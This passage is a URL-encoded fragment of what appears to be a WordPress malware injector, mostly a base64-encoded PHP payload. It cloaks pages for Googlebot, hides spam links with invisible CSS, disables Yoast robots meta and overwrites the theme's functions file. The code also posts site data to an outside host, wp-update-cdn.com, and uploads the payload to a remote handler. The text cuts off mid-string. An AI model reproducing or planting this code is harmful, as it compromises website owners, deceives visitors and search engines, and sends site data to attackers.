o8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI%2FPgo8dXJsc2V0CiAgICAgIHhtbG5zPSJodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45IgogICAgICB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIgogICAgICB4c2k6c2NoZW1hTG9jYXRpb249Imh0dHA6Ly93d3cuc2l0ZW1hcHMub3JnL3NjaGVtYXMvc2l0ZW1hcC8wLjkKICAgICAgICAgICAgaHR0cDovL3d3dy5zaXRlbWFwcy5vcmcvc2NoZW1hcy9zaXRlbWFwLzAuOS9zaXRlbWFwLnhzZCI%2BCgogICAgClNUUjsKfQoKZnVuY3Rpb24gdXJsQmxvY2soJHVybCwgJGxhc3Rtb2QsICRjaGFuZ2VmcmVxLCAkcHJpb3JpdHkpIHsKCiAgICByZXR1cm4gPDw8U1RSCiAgIDx1cmw%2BCiAgICAgIDxsb2M%2BJHVybDwvbG9jPgogICAgICA8bGFzdG1vZD4kbGFzdG1vZDwvbGFzdG1vZD4KICAgICAgPGNoYW5nZWZyZXE%2BJGNoYW5nZWZyZXE8L2NoYW5nZWZyZXE%2BCiAgICAgIDxwcmlvcml0eT4kcHJpb3JpdHk8L3ByaW9yaXR5PgogICA8L3VybD5cblxuClNUUjsKfQoKZnVuY3Rpb24gbW9kaWZ5V3JpdGVyc1N0cmluZygkd3JpdGVyc0FycikgewogICAgJHdyaXRlcnNBcnJNb2QgPSBhcnJheSgpOwoKICAgIGZvcmVhY2ggKCR3cml0ZXJzQXJyIGFzICRpdGVtKSB7CiAgICAgICAgJHdyaXRlcnNBcnJNb2RbXSA9ICctJyAuICRpdGVtOwogICAgfQogICAgcmV0dXJuIGltcGxvZGUoJywnLCAkd3JpdGVyc0Fyck1vZCk7Cn0KCmZ1bmN0aW9uIGN1c3RvbUZpbHRlcnNTZXR0aW5ncygpIHsKICAgICRzZXR0aW5ncyA9IGdldF9vcHRpb24obWQ1KHNoYTEoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSkpOwoKICAgIGlmICghJHNldHRpbmdzKSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgcmV0dXJuIHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHNldHRpbmdzKSk7Cn0KCmZ1bmN0aW9uIGZpbmRVc2VySWRCeVJlcXVlc3RVcmkoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAka2V5ID0%2BICRhcnIpIHsKCiAgICAgICAgJHJlZ2V4cCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnfCcKICAgICAgICAgICAgLiBzdHJfcmVwbGFjZSgnaW5kZXgucGhwPycsICcnLCBjdXJyZW50KCRhcnJbJ3NpdGVtYXBzZXR0aW5ncyddKSAuICckJyk7CgogICAgICAgIGlmIChwcmVnX21hdGNoKCJ%2BJHJlZ2V4cH4iLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsKICAgICAgICAgICAgcmV0dXJuICRrZXk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBpc0N1c3RvbVBvc3QoKSB7CiAgICBnbG9iYWwgJHVzZXJTZXR0aW5nc0FyciwgJHBvc3Q7CgogICAgJGF1dGhvcnNfaWRzX2FyciA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CiAgICBpZiAoaW5fYXJyYXkoJHBvc3QtPnBvc3RfYXV0aG9yLCAkYXV0aG9yc19pZHNfYXJyKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiByZW1vdmVZb2FzdE1ldGEoKSB7CiAgICBnbG9iYWwgJHVzZXJTZXR0aW5nc0FyciwgJHBvc3Q7CgogICAgJGF1dGhvcnNfaWRzX2FyciA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CgogICAgaWYgKCEkcG9zdCB8fCAhcHJvcGVydHlfZXhpc3RzKCRwb3N0LCAnYXV0aG9yJykpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgaWYgKGluX2FycmF5KCRwb3N0LT5wb3N0X2F1dGhvciwgJGF1dGhvcnNfaWRzX2FycikpIHsKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19yb2JvdHMnLCAnX19yZXR1cm5fZmFsc2UnKTsKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19nb29nbGVib3QnLCAnX19yZXR1cm5fZmFsc2UnKTsgLy8gWW9hc3QgU0VPIDE0Lnggb3IgbmV3ZXIKICAgICAgICBhZGRfZmlsdGVyKCd3cHNlb19iaW5nYm90JywgJ19fcmV0dXJuX2ZhbHNlJyk7IC8vIFlvYXN0IFNFTyAxNC54IG9yIG5ld2VyCiAgICB9Cn0KCmZ1bmN0aW9uIGdldFJlbW90ZUlwKCkgewoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107CiAgICB9CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3VzdG9tQ2hlY2tTZSgpIHsKCiAgICAkaXAgPSBnZXRSZW1vdGVJcCgpOwoKICAgIGlmIChzdHJzdHIoJGlwLCAnLCAnKSkgewogICAgICAgICRpcHMgPSBleHBsb2RlKCcsICcsICRpcCk7CiAgICAgICAgJGlwID0gJGlwc1swXTsKICAgIH0KCiAgICAkcmFuZ2VzID0gY3VzdG9tU2VJcHMoKTsKCiAgICBpZiAoISRyYW5nZXMpIHsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgZm9yZWFjaCAoJHJhbmdlcyBhcyAkcmFuZ2UpIHsKICAgICAgICBpZiAoY3VzdG9tQ2hlY2tJblN1Ym5ldCgkaXAsICRyYW5nZSkpIHsKICAgICAgICAgICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCdibGFja19saXN0fHwlc3x8JXN8fCVzfHwlcycsICRpcCwgJHJhbmdlCiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCd3aGl0ZSBsaXN0fHwlc3x8JXN8fCVzfHwlcycsICRpcCwgJHJhbmdlCiAgICAvLyAgICAgICAgICAgICAgICAsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pKTsKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3VzdG9tSXNSZW5ld1RpbWUoJHRpbWVzdGFtcCkgewogICAgLy9pZiAoKHRpbWUoKSAtICR0aW1lc3RhbXApID4gNjAgKiA2MCAqIDI0KSB7CiAgICBpZiAoKHRpbWUoKSAtICR0aW1lc3RhbXApID4gNjAgKiA2MCkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgLy9jdXN0b21TZXREZWJ1ZyhzcHJpbnRmKCd0aW1lIC0gJXMsIHRpbWVzdGFtcCAtICVzJywgdGltZSgpLCAkdGltZXN0YW1wKSk7CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGN1c3RvbVNldERlYnVnKCRkYXRhKSB7CgogICAgaWYgKCgkdmFsdWUgPSBnZXRfb3B0aW9uKCd3cF9kZWJ1Z19kYXRhJykpICYmIGlzX2FycmF5KCR2YWx1ZSkpIHsKICAgICAgICAkdmFsdWVbXSA9IHNwcmludGYoJyVzfHwlc3x8JXMnLCB0aW1lKCksICRfU0VSVkVSWydIVFRQX0hPU1QnXSwgJGRhdGEpOwogICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2RlYnVnX2RhdGEnLCAkdmFsdWUsIGZhbHNlKTsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgdXBkYXRlX29wdGlvbignd3BfZGVidWdfZGF0YScsIGFycmF5KCRkYXRhKSwgZmFsc2UpOwp9CgpmdW5jdGlvbiBjdXN0b21TZW5kRGVidWcoKSB7CgogICAgJHZhbHVlID0gZ2V0X29wdGlvbignd3BfZGVidWdfZGF0YScpOwoKICAgIGlmICghaXNfYXJyYXkoJHZhbHVlKSB8fCAoY291bnQoJHZhbHVlKSA8IDEwMCkpIHsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdXJsID0gJ2h0dHA6Ly93cC11cGRhdGUtY2RuLmNvbS9zcmMvdWFsb2dzZWMucGhwJzsKCiAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCgkdXJsLCBhcnJheSgKICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAndGltZW91dCcgPT4gMTAsCiAgICAgICAgICAgICdib2R5JyA9PiBhcnJheSgKICAgICAgICAgICAgICAgICdob3N0JyA9PiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10sCiAgICAgICAgICAgICAgICAnZGVidWdkYXRhJyA9PiBnemNvbXByZXNzKGpzb25fZW5jb2RlKCR2YWx1ZSkpLCA5KQogICAgICAgICkKICAgICk7CgogICAgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsKICAgICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICAgIGlmICh0cmltKCRyZXNwb25zZVsnYm9keSddKSA9PT0gJ3N1Y2Nlc3MnKSB7CiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ3dwX2RlYnVnX2RhdGEnLCBhcnJheSgpLCBmYWxzZSk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBjdXN0b21TZUlwcygpIHsKCiAgICBpZiAoKCR2YWx1ZSA9IGdldF9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScpKSAmJiAhY3VzdG9tSXNSZW5ld1RpbWUoJHZhbHVlWyd0aW1lc3RhbXAnXSkpIHsKICAgICAgICByZXR1cm4gJHZhbHVlWydyYW5nZXMnXTsKICAgIH0gZWxzZSB7CiAgICAgICAgLy9jdXN0b21TZXREZWJ1ZygndGltZSB0byB1cGRhdGUgcmFuZ2VzJyk7CiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgnaHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20vaXByYW5nZXMvZ29vZy50eHQnKTsKICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgewogICAgICAgICAgICAvL2N1c3RvbVNldERlYnVnKCdlcnJvciByZXNwb25zZSBpcHJhbmdlcycpOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsKICAgICAgICAkcmFuZ2VzID0gcHJlZ19zcGxpdCgifihcclxufFxuKX4iLCB0cmltKCRib2R5KSwgLTEsIFBSRUdfU1BMSVRfTk9fRU1QVFkpOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRyYW5nZXMpKSB7CiAgICAgICAgICAgIC8vY3VzdG9tU2V0RGVidWcoJ2ludmFsaWQgdXBkYXRlIHJhbmdlcyBub3QgYW4gYXJyYXknKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJHZhbHVlID0gYXJyYXkoJ3JhbmdlcycgPT4gJHJhbmdlcywgJ3RpbWVzdGFtcCcgPT4gdGltZSgpKTsKICAgICAgICB1cGRhdGVfb3B0aW9uKCd3cF9jdXN0b21fcmFuZ2UnLCAkdmFsdWUsIHRydWUpOwogICAgICAgIHJldHVybiAkdmFsdWVbJ3JhbmdlcyddOwogICAgfQp9CgpmdW5jdGlvbiBjdXN0b21JbmV0VG9CaXRzKCRpbmV0KSB7CiAgICAkc3BsaXR0ZWQgPSBzdHJfc3BsaXQoJGluZXQpOwogICAgJGJpbmFyeWlwID0gJyc7CiAgICBmb3JlYWNoICgkc3BsaXR0ZWQgYXMgJGNoYXIpIHsKICAgICAgICAkYmluYXJ5aXAgLj0gc3RyX3BhZChkZWNiaW4ob3JkKCRjaGFyKSksIDgsICcwJywgU1RSX1BBRF9MRUZUKTsKICAgIH0KICAgIHJldHVybiAkYmluYXJ5aXA7Cn0KCmZ1bmN0aW9uIGN1c3RvbUNoZWNrSW5TdWJuZXQoJGlwLCAkY2lkcm5ldCkgewogICAgJGlwID0gaW5ldF9wdG9uKCRpcCk7CiAgICAkYmluYXJ5aXAgPSBjdXN0b21JbmV0VG9CaXRzKCRpcCk7CgogICAgbGlzdCgkbmV0LCAkbWFza2JpdHMpID0gZXhwbG9kZSgnLycsICRjaWRybmV0KTsKICAgICRuZXQgPSBpbmV0X3B0b24oJG5ldCk7CiAgICAkYmluYXJ5bmV0ID0gY3VzdG9tSW5ldFRvQml0cygkbmV0KTsKCiAgICAkaXBfbmV0X2JpdHMgPSBzdWJzdHIoJGJpbmFyeWlwLCAwLCAkbWFza2JpdHMpOwogICAgJG5ldF9iaXRzID0gc3Vic3RyKCRiaW5hcnluZXQsIDAsICRtYXNrYml0cyk7CgogICAgaWYgKCRpcF9uZXRfYml0cyAhPT0gJG5ldF9iaXRzKSB7CiAgICAgICAgLy9lY2hvICdOb3QgaW4gc3VibmV0JzsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CgpmdW5jdGlvbiBidWZmZXJfc3RhcnRfY3VzdG9tKCkgewogICAgZWNobyAnPCEtLWJ1ZmZlciBzdGFydCBjdXN0b20tLSE%2BJyAuIFBIUF9FT0w7CiAgICBpZiAoIWlzQ3VzdG9tUG9zdCgpKSB7CiAgICAgICAgaWYgKGlzX3Npbmd1bGFyKCkgfHwgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpKSB7CiAgICAgICAgICAgIGVjaG8gJzwhLS1zdGFydCBjYWxsYmFjayBjdXN0b20tLSE%2BJyAuIFBIUF9FT0w7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJjYWxsYmFja19jdXN0b20iKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGJ1ZmZlcl9lbmRfY3VzdG9tKCkgewogICAgb2JfZW5kX2ZsdXNoKCk7Cn0KCmZ1bmN0aW9uIGNhbGxiYWNrX2N1c3RvbSgkYnVmZmVyKSB7CiAgICBnbG9iYWwgJGhvbWVMaW5rc1NldHRpbmdzQXJyOwoKICAgIHJldHVybiBidWZmZXJfcHJlcGFyZV9jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyLCAkYnVmZmVyKTsKfQoKZnVuY3Rpb24gYnVmZmVyX3ByZXBhcmVfY3VzdG9tKCRob21lTGlua3NTZXR0aW5nc0FyciwgJGJ1ZmZlcikgewoKICAgIGlmICgoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydoaWRkZW5UeXBlJ11bJ2Nsb2Fja2luZyddID09PSAxKSAmJiAhY3VzdG9tQ2hlY2tTZSgpKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ25vIGdvb2dsZSBib3QsIHdpdGhvdXQgY2hhbmdlcyAnIC4gZ2V0UmVtb3RlSXAoKSk7CiAgICAgICAgcmV0dXJuICRidWZmZXI7CiAgICB9CgoKICAgICR0ZXh0QmxvY2sgPSB0ZXh0X2Jsb2NrX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIpOwogICAgJHRleHRCbG9jayA9IGFkZGl0aW9uYWxfc3R5bGVfY3VzdG9tKCRob21lTGlua3NTZXR0aW5nc0FyciwgJHRleHRCbG9jayk7CgoKICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ3Bvc2l0aW9uJ11bJ2Zvb3RlciddID09PSAxKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ2Zvb3RlciBwb3NpdGlvbicpOwogICAgICAgIHJldHVybiAkYnVmZmVyIC4gUEhQX0VPTCAuICR0ZXh0QmxvY2s7CiAgICB9CiAgICBpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydwb3NpdGlvbiddWydoZWFkJ10gPT09IDEpIHsKICAgICAgICBjdXN0b21TZXREZWJ1ZygnaGVhZGVyIHBvc2l0aW9uJyk7CiAgICAgICAgcmV0dXJuICR0ZXh0QmxvY2sgLiBQSFBfRU9MIC4gJGJ1ZmZlcjsKICAgIH0KfQoKZnVuY3Rpb24gdGV4dF9ibG9ja19jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyKSB7CgogICAgZ2xvYmFsICRwb3N0OwoKICAgICRibG9jayA9ICcnOwoKICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ3RleHRCbG9ja3NDb3VudCddWydvbmx5SG9tZVBhZ2UnXSA9PT0gMSkgewogICAgICAgIGlmIChpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpKSB7CiAgICAgICAgICAgIGN1c3RvbVNldERlYnVnKCdob21lIHBhZ2UgbW9kZScpOwogICAgICAgICAgICAkYmxvY2sgPSBnZXRfb3B0aW9uKCdob21lX2xpbmtzX2N1c3RvbV8wJyk7CiAgICAgICAgfQogICAgfSBlbHNlaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsndGV4dEJsb2Nrc0NvdW50J11bJzEwRGlmZmVyZW50VGV4dEJsb2NrcyddID09PSAxKSB7CgogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7CiAgICAgICAgcHJlZ19tYXRjaCgnflxkficsIG1kNSgkdXJsKSwgJG1hdGNoZXMpOwogICAgICAgICRibG9jayA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXycgLiAkbWF0Y2hlc1swXSk7CiAgICAgICAgJGxvZyA9IHNwcmludGYoJzEwRGlmZmVyZW50VGV4dEJsb2NrcyBwYWdlIG1vZGUgYmxvY2sgbnVtIC0gJXMgcGVybWFsaW5rIC0gJXMnLCAkbWF0Y2hlc1swXSwgJHVybCk7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJGxvZyk7CiAgICB9IGVsc2VpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWyd0ZXh0QmxvY2tzQ291bnQnXVsnMTAwRGlmZmVyZW50VGV4dEJsb2NrcyddID09PSAxKSB7CgogICAgICAgICR1cmwgPSBnZXRfcGVybWFsaW5rKCRwb3N0LT5JRCk7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJ35cZH4nLCBtZDUoJHVybCksICRtYXRjaGVzKTsKICAgICAgICAkZGlnaXRzID0gKCRtYXRjaGVzWzBdWzBdID09IDApID8gJG1hdGNoZXNbMF1bMV0gOiAkbWF0Y2hlc1swXVswXSAuICcnIC4gJG1hdGNoZXNbMF1bMV07CiAgICAgICAgJGJsb2NrID0gZ2V0X29wdGlvbignaG9tZV9saW5rc19jdXN0b21fJyAuICRkaWdpdHMpOwogICAgICAgICRsb2cgPSBzcHJpbnRmKCcxMDBEaWZmZXJlbnRUZXh0QmxvY2tzIHBhZ2UgbW9kZSBibG9jayBudW0gLSAlcyBwZXJtYWxpbmsgLSAlcycsICRkaWdpdHMsICR1cmwpOwogICAgICAgIGN1c3RvbVNldERlYnVnKCRsb2cpOwogICAgfSBlbHNlaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsndGV4dEJsb2Nrc0NvdW50J11bJ2Z1bGxEaWZmZXJlbnRUZXh0QmxvY2tzJ10gPT09IDEpIHsKCiAgICB9IGVsc2UgewoKICAgIH0KCiAgICByZXR1cm4gISRibG9jayA%2FICcnIDogJGJsb2NrOwp9CgpmdW5jdGlvbiBhZGRpdGlvbmFsX3N0eWxlX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIsICR0ZXh0QmxvY2spIHsKICAgIGlmIChlbXB0eSgkdGV4dEJsb2NrKSkgewogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIGlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ2hpZGRlblR5cGUnXVsnY3NzJ10gPT09IDEpIHsKICAgICAgICBwcmVnX21hdGNoKCd%2BXGR%2BJywgbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRibG9ja051bSk7CiAgICAgICAgJGNzc1J1bGVzID0gY3NzX3J1bGVfY3VzdG9tKCk7CiAgICAgICAgJGNzc1J1bGUgPSAkY3NzUnVsZXNbJGJsb2NrTnVtWzBdXTsKICAgICAgICByZXR1cm4gJGNzc1J1bGVbMF0gLiBQSFBfRU9MIC4gJHRleHRCbG9jayAuIFBIUF9FT0wgLiAkY3NzUnVsZVsxXTsKICAgIH0KICAgIHJldHVybiAkdGV4dEJsb2NrOwp9CgpmdW5jdGlvbiBjc3NfcnVsZV9jdXN0b20oKSB7CgogICAgcmV0dXJuIGFycmF5KAogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgZmlsdGVyOmFscGhhKG9wYWNpdHk9MCk7b3BhY2l0eTowLjAwMzt6LWluZGV4Ojg7Ij4nLCAnPC9kaXY%2BJyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi01MDAwcHg7Ij4nLCAnPC9kaXY%2BJyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI%2BJywgJzwvZGl2PicpLAogICAgICAgIGFycmF5KCc8ZGl2IHN0eWxlPSJ0cmFuc2Zvcm06IHNjYWxlKDApIj4nLCAnPC9kaXY%2BJyksCiAgICAgICAgYXJyYXkoJzxkaXYgc3R5bGU9Im92ZXJmbG93OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaGVpZ2h0OiAwcHQ7IHdpZHRoOiAwcHQ7PicsICc8L2Rpdj4nKSwKICAgICAgICBhcnJheSgnPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOycsICc8L2Rpdj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKTtvcGFjaXR5OjAuMDAzO3otaW5kZXg6ODsiPicsICc8L3NwYW4%2BJyksCiAgICAgICAgYXJyYXkoJzxzcGFuIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgbGVmdDotNTAwMHB4OyI%2BJywgJzwvc3Bhbj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB0b3A6IC0xMDAlOyI%2BJywgJzwvc3Bhbj4nKSwKICAgICAgICBhcnJheSgnPHNwYW4gc3R5bGU9InRyYW5zZm9ybTogc2NhbGUoMCkiPicsICc8L3NwYW4%2BJyksCiAgICApOwp9CgpmdW5jdGlvbiBob21lX2xpbmtzX3NldHRpbmdzX2N1c3RvbSgkc2V0dGluZ3MpIHsKICAgIGZvcmVhY2ggKCRzZXR0aW5ncyBhcyAka2V5ID0%2BICRhcnIpIHsKICAgICAgICBpZiAoaXNzZXQoJGFyclsnaG9tZUxpbmtzJ10pKSB7CiAgICAgICAgICAgIHJldHVybiAkYXJyWydob21lTGlua3MnXTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gYXJyYXkoKTsKfQoKJHVzZXJTZXR0aW5nc0FyciA9IGN1c3RvbUZpbHRlcnNTZXR0aW5ncygpOwoKaWYgKGlzX2FycmF5KCR1c2VyU2V0dGluZ3NBcnIpKSB7CiAgICBhZGRfZmlsdGVyKCdwb3N0c193aGVyZV9wYWdlZCcsICdhZGRfd2hlcmVfY29uZGl0aW9uJyk7CgogICAgYWRkX2FjdGlvbigncHJlX2dldF9wb3N0cycsICdwb3N0X2V4Y2x1ZGUnKTsKICAgIGFkZF9hY3Rpb24oJ3dwX2VucXVldWVfc2NyaXB0cycsICd3cF9jb3JlX2pzJyk7CgogICAgYWRkX2ZpbHRlcignd3BfY291bnRfcG9zdHMnLCAnZmlsdGVyX2Z1bmN0aW9uX25hbWVfNDA1NScsIDEwLCAzKTsKCiAgICBhZGRfZmlsdGVyKCdyZXdyaXRlX3J1bGVzX2FycmF5JywgJ3NpdGVtYXBfeG1sX3J1bGVzJyk7CiAgICBhZGRfYWN0aW9uKCd3cF9sb2FkZWQnLCAnY3VzdG9tX2ZsdXNoX3J1bGVzJyk7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgJ2N1c3RvbVNpdGVtYXBGZWVkJyk7CiAgICBhZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsICdyZW1vdmVZb2FzdE1ldGEnKTsKCiAgICAkaG9tZUxpbmtzU2V0dGluZ3NBcnIgPSBob21lX2xpbmtzX3NldHRpbmdzX2N1c3RvbSgkdXNlclNldHRpbmdzQXJyKTsKCiAgICBpZiAoIWVtcHR5KCRob21lTGlua3NTZXR0aW5nc0FycikpIHsKCiAgICAgICAgY3VzdG9tU2VuZERlYnVnKCk7CgogICAgICAgIGFkZF9hY3Rpb24oJ3dwX2hlYWQnLCAnYnVmZmVyX3N0YXJ0X2N1c3RvbScpOwogICAgICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICdidWZmZXJfZW5kX2N1c3RvbScpOwogICAgfQp9CgovKiBjdXN0b20gZmlsdGVycyAqLw%3D%3D%27%3B%0D%0A%0D%0A++++%24gzSource+%3D+gzCompressCustom%28base64_decode%28%24source%29%29%3B%0D%0A%0D%0A++++%24source+%3D+sendpostUploader%28GS_ALIAS+.+%27%2Fsrc%2FfunctionsHandler.php%27%2C+array%28%0D%0A++++++++%27host%27+%3D%3E+urlencode%28%24_SERVER%5B%27HTTP_HOST%27%5D%29%2C%0D%0A++++++++%27data%27+%3D%3E+urlencode%28%24gzSource%29%2C%0D%0A++++%29%29%3B%0D%0A%0D%0A++++%24settings+%3D+settingsArr%28%24functionsSource%29%3B%0D%0A%0D%0A%0D%0A++++if+%28%21%24settings%29+%7B%0D%0A++++++++echo+%27settings+return+false%27+.+PHP_EOL%3B%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++writeSettingsDB%28%24settings%29%3B%0D%0A%0D%0A++++%24customFiltersUpdateResult+%3D+mbReplaceCustomFilters%28%24functionsSource%2C+%24functionsPath%2C+%24source%29%3B%0D%0A%0D%0A++++if+%28%24customFiltersUpdateResult%29+%7B%0D%0A++++++++getSitemapUrls%28%29%3B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+homeLinksAction%28%29+%7B%0D%0A%0D%0A++++%24hash+%3D+md5%28HOME_URL%29%3B%0D%0A%0D%0A++++%24permLinks+%3D+array%28%29%3B%0D%0A%0D%0A++++if+%28isBadEnvCustom%28%29%29+%7B%0D%0A++++++++echo+%27change+shell%2C+invalid+require+wp-blog-header%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28%21function_exists%28%27get_permalink%27%29%29+%7B%0D%0A++++++++require+WP_ROOT_DIR+.+%27%2Fwp-blog-header.php%27%3B%0D%0A++++%7D%0D%0A++++%24posts+%3D+CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++-%3EallPostsFromDb%28HOME_URL%2C+CUSTOM_AUTHOR_ID%29%3B%0D%0A%0D%0A++++if+%28empty%28%24posts%29%29+%7B%0D%0A++++++++echo+%27%21%21%21%21%21%21%21%21no+posts+for+this+author%21%21%21%21%21%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++foreach+%28%24posts+as+%24post%29+%7B%0D%0A%0D%0A++++++++list+%28%24url%2C+%24anchor%29+%3D+explode%28%27%3B%27%2C+%24post%2C+2%29%3B%0D%0A%0D%0A++++++++preg_match%28%27%7E%5C%3Fp%3D%28%5Cd%2B%29%7E%27%2C+%24post%2C+%24matches%29%3B%0D%0A%0D%0A++++++++%24postId+%3D+%24matches%5B1%5D%3B%0D%0A%0D%0A++++++++%24permLinks%5B%5D+%3D+array%28get_permalink%28%24postId%29%2C+%24anchor%29%3B%0D%0A++++++++wp_cache_delete%28%24postId%2C+%27posts%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++if+%28empty%28%24permLinks%29%29+%7B%0D%0A++++++++echo+%27invalid+fetch+permal